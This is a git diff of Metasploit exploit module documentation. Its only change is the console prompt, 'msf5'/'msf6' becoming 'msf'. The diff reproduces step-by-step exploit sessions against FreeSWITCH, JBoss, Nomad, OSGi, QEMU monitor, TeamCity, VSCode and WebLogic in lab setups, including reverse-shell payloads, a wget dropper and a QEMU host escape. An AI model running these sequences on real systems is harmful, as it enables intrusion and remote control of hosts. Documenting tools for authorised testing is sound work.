a/documentation/modules/exploit/multi/misc/freeswitch_event_socket_cmd_exec.md b/documentation/modules/exploit/multi/misc/freeswitch_event_socket_cmd_exec.md index a4cc76a865e6f..39660e716f46c 100644 --- a/documentation/modules/exploit/multi/misc/freeswitch_event_socket_cmd_exec.md +++ b/documentation/modules/exploit/multi/misc/freeswitch_event_socket_cmd_exec.md @@ -55,15 +55,15 @@ ### Windows PowerShell Target ``` -msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1" +msf > use exploit/multi/misc/freeswitch_event_socket_cmd_exec +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1" [*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.242) [*] Local TCP relay created: :1234 <-> 127.0.0.1:8021 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234 rport => 1234 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets Exploit targets: @@ -76,11 +76,11 @@ Exploit targets: 4 Windows (Dropper) -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2 target => 2 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] 127.0.0.1:1234 - Login success @@ -107,15 +107,15 @@ meterpreter > ### Linux Dropper Target ``` -msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1" +msf > use exploit/multi/misc/freeswitch_event_socket_cmd_exec +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1" [*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.172) [*] Local TCP relay created: :1234 <-> 127.0.0.1:8021 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234 rport => 1234 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets Exploit targets: @@ -128,13 +128,13 @@ Exploit targets: 4 Windows (Dropper) -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 1 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 1 target => 1 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmdstager::flavor wget +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmdstager::flavor wget cmdstager::flavor => wget -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] 127.0.0.1:1234 - Login success @@ -165,15 +165,15 @@ meterpreter > ### UNIX Generic Command Target ``` -msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1" +msf > use exploit/multi/misc/freeswitch_event_socket_cmd_exec +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1" [*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.172) [*] Local TCP relay created: :1234 <-> 127.0.0.1:8021 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234 rport => 1234 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets Exploit targets: @@ -186,15 +186,15 @@ Exploit targets: 4 Windows (Dropper) -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 0 +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 0 target => 0 -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set payload cmd/unix/generic +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set payload cmd/unix/generic payload => cmd/unix/generic -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmd "id; uname -a" +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmd "id; uname -a" cmd => id; uname -a -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set verbose true +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set verbose true verbose => true -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run [*] 127.0.0.1:1234 - Login success [*] 127.0.0.1:1234 - Sending payload (12 bytes) ... @@ -205,5 +205,5 @@ uid=999(freeswitch) gid=999(freeswitch) groups=999(freeswitch) Linux freeswitch-vm 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03) x86_64 GNU/Linux [*] Exploit completed, but no session was created. -msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > +msf exploit(multi/misc/freeswitch_event_socket_cmd_exec) > ``` diff --git a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md index dc458cea3398d..9d1e6c9ae1121 100644 --- a/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md +++ b/documentation/modules/exploit/multi/misc/jboss_remoting_unified_invoker_rce.md @@ -83,7 +83,7 @@ This uses a Linux dropper to execute code. ### JBoss Application Server 6.1.0 from [Docker](#setup). ``` -msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options +msf exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce): @@ -113,7 +113,7 @@ Exploit target: 0 Unix Command -msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit +msf exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit [*] Started reverse TCP handler on 192.168.1.15:4444 [*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable) @@ -149,5 +149,5 @@ See terms of license at gnu.org. exit [*] 127.0.0.1 - Command shell session 1 closed. -msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > +msf exploit(multi/misc/jboss_remoting_unified_invoker_rce) > ``` diff --git a/documentation/modules/exploit/multi/misc/msfd_rce_remote.md b/documentation/modules/exploit/multi/misc/msfd_rce_remote.md index a2a2c2929217e..9811cfafe388b 100644 --- a/documentation/modules/exploit/multi/misc/msfd_rce_remote.md +++ b/documentation/modules/exploit/multi/misc/msfd_rce_remote.md @@ -51,16 +51,16 @@ Source code and installers: ### Remote target ``` - msf5 > use exploit/multi/misc/msfd_rce_remote - msf5 exploit(multi/misc/msfd_rce_remote) > set rhost 192.168.56.101 + msf > use exploit/multi/misc/msfd_rce_remote + msf exploit(multi/misc/msfd_rce_remote) > set rhost 192.168.56.101 rhost => 192.168.56.101 - msf5 exploit(multi/misc/msfd_rce_remote) > set payload ruby/shell_reverse_tcp + msf exploit(multi/misc/msfd_rce_remote) > set payload ruby/shell_reverse_tcp payload => ruby/shell_reverse_tcp - msf5 exploit(multi/misc/msfd_rce_remote) > set lhost 192.168.0.17 + msf exploit(multi/misc/msfd_rce_remote) > set lhost 192.168.0.17 lhost => 192.168.0.17 - msf5 exploit(multi/misc/msfd_rce_remote) > set lport 443 + msf exploit(multi/misc/msfd_rce_remote) > set lport 443 lport => 443 - msf5 exploit(multi/misc/msfd_rce_remote) > exploit + msf exploit(multi/misc/msfd_rce_remote) > exploit [-] Handler failed to bind to 192.168.0.17:443:- - [*] Started reverse TCP handler on 0.0.0.0:443 @@ -91,10 +91,10 @@ Source code and installers: [*] Local TCP relay created: :55554 <-> 127.0.0.1:55554 meterpreter > background [*] Backgrounding session 2... - msf5 > use exploit/multi/misc/msfd_rce_remote - msf5 exploit(multi/misc/msfd_rce_remote) > set rhost 127.0.0.1 + msf > use exploit/multi/misc/msfd_rce_remote + msf exploit(multi/misc/msfd_rce_remote) > set rhost 127.0.0.1 rhost => 127.0.0.1 - msf5 exploit(multi/misc/msfd_rce_remote) > exploit + msf exploit(multi/misc/msfd_rce_remote) > exploit [-] Handler failed to bind to 192.168.0.17:443:- - [*] Started reverse TCP handler on 0.0.0.0:443 diff --git a/documentation/modules/exploit/multi/misc/nomad_exec.md b/documentation/modules/exploit/multi/misc/nomad_exec.md index ba818c587da18..bd1477e035617 100644 --- a/documentation/modules/exploit/multi/misc/nomad_exec.md +++ b/documentation/modules/exploit/multi/misc/nomad_exec.md @@ -85,19 +85,19 @@ You can verify the module against the vulnerable application with those steps: ### Reverse shell on Linux host ``` -msf6 > use exploit/multi/misc/nomad_exec +msf > use exploit/multi/misc/nomad_exec [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/misc/nomad_exec) > set RHOST 192.168.1.2 +msf exploit(multi/misc/nomad_exec) > set RHOST 192.168.1.2 RHOST => 192.168.1.2 -msf6 exploit(multi/misc/nomad_exec) > set RPORT 4646 +msf exploit(multi/misc/nomad_exec) > set RPORT 4646 RPORT => 4646 -msf6 exploit(multi/misc/nomad_exec) > check +msf exploit(multi/misc/nomad_exec) > check [+] 192.168.1.2:4646 - The target is vulnerable. -msf6 exploit(multi/misc/nomad_exec) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/misc/nomad_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/misc/nomad_exec) > set LHOST eth0 +msf exploit(multi/misc/nomad_exec) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/misc/nomad_exec) > run +msf exploit(multi/misc/nomad_exec) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Creating job 'RjLhSsR' @@ -121,21 +121,21 @@ Server username: root @ nomad (uid=0, gid=0, euid=0, egid=0) ### Reverse shell on Windows host ``` -msf6 > use exploit/multi/misc/nomad_exec +msf > use exploit/multi/misc/nomad_exec [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/misc/nomad_exec) > set RHOSTS 192.168.1.4 +msf exploit(multi/misc/nomad_exec) > set RHOSTS 192.168.1.4 RHOSTS => 192.168.1.4 -msf6 exploit(multi/misc/nomad_exec) > set RPORT 4646 +msf exploit(multi/misc/nomad_exec) > set RPORT 4646 RPORT => 4646 -msf6 exploit(multi/misc/nomad_exec) > set TARGET Windows +msf exploit(multi/misc/nomad_exec) > set TARGET Windows TARGET => Windows -msf6 exploit(multi/misc/nomad_exec) > check +msf exploit(multi/misc/nomad_exec) > check [+] 192.168.1.4:4646 - The target is vulnerable. -msf6 exploit(multi/misc/nomad_exec) > set payload windows/meterpreter/reverse_tcp +msf exploit(multi/misc/nomad_exec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf6 exploit(multi/misc/nomad_exec) > set LHOST eth0 +msf exploit(multi/misc/nomad_exec) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/misc/nomad_exec) > run +msf exploit(multi/misc/nomad_exec) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Using URL: http://0.0.0.0:8080/7xalf9984X4by diff --git a/documentation/modules/exploit/multi/misc/osgi_console_exec.md b/documentation/modules/exploit/multi/misc/osgi_console_exec.md index cffb4c097d1d6..810ae055190d6 100644 --- a/documentation/modules/exploit/multi/misc/osgi_console_exec.md +++ b/documentation/modules/exploit/multi/misc/osgi_console_exec.md @@ -92,14 +92,14 @@ You can verify the module against the vulnerable application with those steps: Exploit running against a Ubuntu Linux target: ``` -msf5 > use exploit/multi/misc/osgi_console_exec -msf5 exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.4 -msf5 exploit(multi/misc/osgi_console_exec) > set RPORT 5555 -msf5 exploit(multi/misc/osgi_console_exec) > set TARGET 0 -msf5 exploit(multi/misc/osgi_console_exec) > set payload linux/x86/meterpreter/reverse_tcp -msf5 exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2 -msf5 exploit(multi/misc/osgi_console_exec) > set LPORT 4444 -msf5 exploit(multi/misc/osgi_console_exec) > run +msf > use exploit/multi/misc/osgi_console_exec +msf exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.4 +msf exploit(multi/misc/osgi_console_exec) > set RPORT 5555 +msf exploit(multi/misc/osgi_console_exec) > set TARGET 0 +msf exploit(multi/misc/osgi_console_exec) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2 +msf exploit(multi/misc/osgi_console_exec) > set LPORT 4444 +msf exploit(multi/misc/osgi_console_exec) > run [*] Exploit running as background job 1. [*] Started reverse TCP handler on 172.20.10.2:4444 [*] 172.20.10.4:5555 - Accessing the OSGi console ... @@ -109,7 +109,7 @@ msf5 exploit(multi/misc/osgi_console_exec) > run [*] Meterpreter session 2 opened (172.20.10.2:4444 -> 172.20.10.4:39314) at 2018-02-14 19:17:39 +0100 [*] 172.20.10.4:5555 - Command Stager progress - 100.00% done (763/763 bytes) -msf5 exploit(multi/misc/osgi_console_exec) > sessions -i 2 +msf exploit(multi/misc/osgi_console_exec) > sessions -i 2 [*] Starting interaction with 2... meterpreter > sysinfo Computer : 172.20.10.4 @@ -125,14 +125,14 @@ Meterpreter : x86/linux Exploit running against a Windows 7 target: ``` -msf5 > use exploit/multi/misc/osgi_console_exec -msf5 exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.3 -msf5 exploit(multi/misc/osgi_console_exec) > set RPORT 5555 -msf5 exploit(multi/misc/osgi_console_exec) > set TARGET 1 -msf5 exploit(multi/misc/osgi_console_exec) > set payload windows/meterpreter/reverse_tcp -msf5 exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2 -msf5 exploit(multi/misc/osgi_console_exec) > set LPORT 4444 -msf5 exploit(multi/misc/osgi_console_exec) > run +msf > use exploit/multi/misc/osgi_console_exec +msf exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.3 +msf exploit(multi/misc/osgi_console_exec) > set RPORT 5555 +msf exploit(multi/misc/osgi_console_exec) > set TARGET 1 +msf exploit(multi/misc/osgi_console_exec) > set payload windows/meterpreter/reverse_tcp +msf exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2 +msf exploit(multi/misc/osgi_console_exec) > set LPORT 4444 +msf exploit(multi/misc/osgi_console_exec) > run [*] Exploit running as background job 2. [*] Started reverse TCP handler on 172.20.10.2:4444 [*] 172.20.10.3:5555 - Accessing the OSGi console ... @@ -140,7 +140,7 @@ msf5 exploit(multi/misc/osgi_console_exec) > run [*] 172.20.10.3:5555 - 172.20.10.3:5555 - Waiting for session... [*] Sending stage (179779 bytes) to 172.20.10.3 [*] Meterpreter session 1 opened (172.20.10.2:4444 -> 172.20.10.3:49365) at 2018-02-14 19:14:15 +0100 -msf5 exploit(multi/misc/osgi_console_exec) > sessions -i 1 +msf exploit(multi/misc/osgi_console_exec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec.md b/documentation/modules/exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec.md index c6f03653dca07..2e37b48b29ffd 100644 --- a/documentation/modules/exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec.md +++ b/documentation/modules/exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec.md @@ -40,15 +40,15 @@ qemu-system-aarch64 -M virt -monitor tcp:0.0.0.0:4444,server,nowait -serial mon: ### Unix Command Target ``` -msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec +msf > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec [*] Using configured payload cmd/unix/reverse -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240 rhosts => 172.16.191.240 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444 rport => 4444 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run [*] Started reverse TCP double handler on 172.16.191.192:4444 [*] 172.16.191.240:4444 - Running automatic check ("set AutoCheck false" to disable) @@ -73,19 +73,19 @@ uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip ### Linux Dropper Target ``` -msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec +msf > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec [*] Using configured payload cmd/unix/reverse -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240 rhosts => 172.16.191.240 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444 rport => 4444 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target 2 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target 2 target => 2 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target "Linux (Dropper)" +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target "Linux (Dropper)" target => Linux (Dropper) -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] 172.16.191.240:4444 - Running automatic check ("set AutoCheck false" to disable) @@ -110,7 +110,7 @@ As such, it is possible to escape QEMU from a session within an emulated device (10.0.2.15) and gain a session on the QEMU host (10.0.2.2). ``` -msf6 exploit(multi/handler) > sessions -i 1 +msf exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -150,17 +150,17 @@ meterpreter > portfwd add -l 1234 -p 4444 -r 10.0.2.2 [*] Local TCP relay created: :1234 <-> 10.0.2.2:4444 meterpreter > Background session 1? [y/N] -msf6 exploit(multi/handler) > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec +msf exploit(multi/handler) > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec [*] Using configured payload cmd/unix/reverse -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 1234 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 1234 rport => 1234 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhost 127.0.0.1 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > check +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > check [*] 127.0.0.1:1234 - The target appears to be vulnerable. QEMU monitor HMP service is running. -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run +msf exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run [*] Started reverse TCP double handler on 172.16.191.192:4444 [*] 127.0.0.1:1234 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md b/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md index e66588bdf3331..c6875f821e9a8 100644 --- a/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md +++ b/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md @@ -40,14 +40,14 @@ If specified the module will run the specified command instead of executing the ### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1 ``` -msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec -msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149 +msf > use exploit/multi/misc/teamcity_agent_xmlrpc_exec +msf exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149 RHOSTS => 172.16.198.149 -msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp +msf exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0 +msf exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0 LHOST => eth0 -msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run +msf exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run [*] Started reverse TCP handler on 172.16.198.150:4444 [*] Found TeamCity Agent running build version 58245 diff --git a/documentation/modules/exploit/multi/misc/vscode_ipynb_remote_dev_exec.md b/documentation/modules/exploit/multi/misc/vscode_ipynb_remote_dev_exec.md index dfd2813a8f935..35c5766806087 100644 --- a/documentation/modules/exploit/multi/misc/vscode_ipynb_remote_dev_exec.md +++ b/documentation/modules/exploit/multi/misc/vscode_ipynb_remote_dev_exec.md @@ -83,7 +83,7 @@ resource (ipynb)> rexploit ^C[-] Exploit failed [user-interrupt]: Interrupt [*] Server stopped. [-] rexploit: Interrupted -msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -i 1 +msf exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -112,7 +112,7 @@ C:\Users\h00die> ### VSCode 1.70.2 on Linux ``` -msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > run +msf exploit(multi/misc/vscode_ipynb_remote_dev_exec) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Starting up web service... @@ -124,7 +124,7 @@ msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > run ^C[-] Exploit failed [user-interrupt]: Interrupt [*] Server stopped. [-] run: Interrupted -msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -l +msf exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -l Active sessions =============== @@ -133,7 +133,7 @@ Active sessions -- ---- ---- ----------- ---------- 3 meterpreter x64/linux msfuser @ 172.16.199.131 172.16.199.1:4444 -> 172.16.199.131:60298 (172.16.199 -msf6 exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -i 1 +msf exploit(multi/misc/vscode_ipynb_remote_dev_exec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/exploit/multi/misc/weblogic_deserialize.md b/documentation/modules/exploit/multi/misc/weblogic_deserialize.md index d1bfaef5d0eaf..46914cc796c80 100644 --- a/documentation/modules/exploit/multi/misc/weblogic_deserialize.md +++ b/documentation/modules/exploit/multi/misc/weblogic_deserialize.md @@ -20,17 +20,17 @@ Oracle Weblogic Server v10.3.6.0, v12.1.3.0, v12.2.1.2, and v12.2.1.3 are vulner ### Tested on Windows 10 x64 running Oracle Weblogic Server 10.3.6.0 on JDK v7u17 ``` -msf5 exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.175 +msf exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.175 rhosts => 172.22.222.175 -msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.121 +msf exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.121 srvhost => 172.22.222.121 -msf5 exploit(multi/misc/weblogic_deserialize) > set srvport 8888 +msf exploit(multi/misc/weblogic_deserialize) > set srvport 8888 srvport => 8888 -msf5 exploit(multi/misc/weblogic_deserialize) > set target 1 +msf exploit(multi/misc/weblogic_deserialize) > set target 1 target => 1 -msf5 exploit(multi/misc/weblogic_deserialize) > run +msf exploit(multi/misc/weblogic_deserialize) > run [*] Exploit running as background job 0. -msf5 exploit(multi/misc/weblogic_deserialize) > +msf exploit(multi/misc/weblogic_deserialize) > [*] Started reverse TCP handler on 172.22.222.121:4444 [*] Sending stage (179779 bytes) to 172.22.222.175 [*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:49908) at 2018-08-08 17:53:07 -0500 @@ -50,22 +50,22 @@ meterpreter > ### Tested on Ubuntu 14.04 LTS x64 running Oracle Weblogic Server 10.3.6.0 on Sun SDK 1.6.0_29 ``` -msf5 > use exploit/multi/misc/weblogic_deserialize -msf5 exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.205 +msf > use exploit/multi/misc/weblogic_deserialize +msf exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.205 rhosts => 172.22.222.205 -msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.207 +msf exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.207 srvhost => 172.22.222.207 -msf5 exploit(multi/misc/weblogic_deserialize) > set lhost 172.22.222.207 +msf exploit(multi/misc/weblogic_deserialize) > set lhost 172.22.222.207 lhost => 172.22.222.207 -msf5 exploit(multi/misc/weblogic_deserialize) > set verbose true +msf exploit(multi/misc/weblogic_deserialize) > set verbose true verbose => true -msf5 exploit(multi/misc/weblogic_deserialize) > check +msf exploit(multi/misc/weblogic_deserialize) > check [+] 172.22.222.205:7001 - Detected Oracle WebLogic Server Version: 10.3.6.0 [*] 172.22.222.205:7001 The target appears to be vulnerable. -msf5 exploit(multi/misc/weblogic_deserialize) > run +msf exploit(multi/misc/weblogic_deserialize) > run [*] Exploit running as background job 0. -msf5 exploit(multi/misc/weblogic_deserialize) > +msf exploit(multi/misc/weblogic_deserialize) > [*] Started reverse TCP handler on 172.22.222.207:4444 [*] 172.22.222.205:7001 - Sending handshake... [*] 172.22.222.205:7001 - Sending client object payload... @@ -75,7 +75,7 @@ msf5 exploit(multi/misc/weblogic_deserialize) > [*] Command shell session 1 opened (172.22.222.207:4444 -> 172.22.222.205:37168) at 2018-08-30 06:10:31 -0500 [*] 172.22.222.205:7001 - Server stopped. -msf5 exploit(multi/misc/weblogic_deserialize) > sessions -i 1 +msf exploit(multi/misc/weblogic_deserialize) > sessions -i 1 [*] Starting interaction with 1... uname -a diff --git a/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md b/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md index 41469c89f39c3..1b49dd358e722 100644 --- a/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md +++ b/documentation/modules/exploit/multi/misc/weblogic_deserialize_asyncresponseservice.md @@ -35,7 +35,7 @@ in combination with a JDK (`jdk-8u211-windows-x64.exe`). 5. Look for the following output: ``` -msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check +msf exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check [+] 172.16.135.128:8088 - The target is vulnerable. ``` @@ -54,7 +54,7 @@ 